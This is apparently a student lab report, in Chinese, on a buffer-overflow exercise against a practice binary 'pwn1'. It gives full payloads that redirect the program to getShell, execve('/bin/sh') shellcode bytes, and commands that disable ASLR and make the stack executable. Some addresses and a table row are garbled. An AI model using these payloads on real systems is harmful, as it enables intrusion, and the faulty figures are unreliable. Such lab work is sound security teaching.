实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
实验要求
- 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
- 掌握反汇编与十六进制编程器
- 能正确修改机器指令改变程序执行流程
- 能正确构造payload进行bof攻击
实验过程
1、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
在kali下使用objdump -d pwn1 | more
对pwn1文件进行反汇编:
找到main函数和getshell函数(按Esc后输入/getShell进行搜索),可以看到在main函数中按照正常的运行顺序,执行到call处,EIP应该会指向0x08048ba + 0xffffffd7 = 0x08048491即foo函数的入口地址,所以我们需要修改该偏移量(0xffffffd7)使执行call后EIP指向0x080487d,即getShell函数入口,因此需要将0xffffffd7改为0xffffffc3(0x0804847d - 0x080484ba = 0xffffffc3):
将pwn1备份为pwn2,使用vim打开pwn2文件,看到的是乱码,结果如下图所示:
将乱码转化为16进制(按下Esc后输入:%!xxd
),如下图所示,这个d7即我们需要修改的地址偏移量,所以将这个d7修改为c3(按下r进行替换),并对pwn2文件再次反汇编,查看修改后的结果是否正确:
运行pwn1和pwn2文件,可以看到pwn2运行后获得shell,结果如下所示:
2、利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
使用objdump -d pwn1 | more
将pwn1反汇编后查看foo函数,该函数的功能是调用gets读进用户输入的字符串然后用puts函数将字符串输出,但是该函数并没有检查用户输入,所以存在BOF漏洞。
观察反汇编出的汇编代码得知预留的局部变量的空间为0x38,而gets函数将读取到的字符串存放到0x1c(28个字节)处,根据堆栈结构,当输入字符串长度达到36时,第33~36个字节将会覆盖到EIP中:
使用gdb对pwn1进行调试,当输入长度为40的字符串“aaaaaaaabbbbbbbbccccccccddddddddeeeeeee”后出现段错误,查看各寄存器状态可以发现当前EIP寄存器的内容为0x65656565(“e”的ASCLL码的十六进制为65),因此可以说明当输入字符串过长时,第33~36个字节将会覆盖EIP的内容。
通过以上分析,只要将输入字符串的第33~36位设置为getShell函数的入口地址,便可以在foo函数返回直接跳转到getShell函数并运行。使用命令perl -e 'print "zzzzzzzzxxxxxxxxzzzzzzzzxxxxxxxx\x7d\x84\x04\x08\x0a"' > input
生成十六进制字符串文件“input”,然后用(cat input; cat) | ./pwn1
命令将input作为pwn1的输入,获得shell:
3、注入一个自己制作的shellcode并运行这段shellcode
首先使用execstack等命令设置堆栈可执行并关闭地址随机化:
命令 | 作用 |
---|---|
execstack -s pwn1 | 将堆栈设为可执行状态 |
将堆栈设为可执行状态 | 查看文件pwn1的堆栈是否是可执行状态 |
more /proc/sys/kernel/randomize_va_space | 查看地址随机化的状态 |
echo “0”> /proc/sys/kernel/randomize_va_space | 关闭地址随机化 |
其中需要注意的是,执行echo "0"> /proc/sys/kernel/randomize_va_space
命令时需要root权限,这里需要提权sudo su:
构造要注入的shellcode,采用的构造方法是retaddr+nop+shellcode,即将shellode放到缓冲区后边的位置,使用的shellcode为\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
。
首先要确定retaddr的值,使用perl构造十六进制的37个字节的输入串perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
(这里的37个字节仅仅是为了获得retaddr),其中第33~36个字节即\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置,将这段字符作为pwn1的输入运行pwn1:
使用ps -ef | grep pwn1
找到对应的进程号为17698:
根据pwn1的进程号使用gdb对其进行调试(attach 17698)
,通过设置断点,来查看注入字符串的内存地址。先用 disassemble foo
对foo函数进行反汇编,断点应该放到ret之前(因为返回的话就会执行POP EIP),把之前的\x4\x3\x2\x1
填入EIP中会发生段错误。然后用 break *0x080484ae
来设置断点。设置断点后继续运行,这里可能需要返回程序运行界面输入一个回车才能往下执行,程序在foo返回前停止,此时查看当前寄存器ESP的值(存放返回地址的位置/栈顶位置),根据ESP的值查看当前栈顶的值为0x01020304
,所以确定retaddr的值应该为0xffffd16c+0x00000004=0xffffd170
:
构造shellcode:32个A+retaddr+nop+shellcode,\x70\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\0x00
,如图所示,将其作为pwn1的输入,运行pwn1,得到shell:
三、学习中遇到的问题及解决
问题1:没有安装execstack命令。
问题1解决方案:使用sudo apt install execstack
安装成功
问题2:执行more /proc/sys/kernel/randomize_va_space
显示permission denied
问题2解决方案:使用sudo su提权
四、实践总结
学习实践了BOF漏洞攻击,复习了堆栈的知识。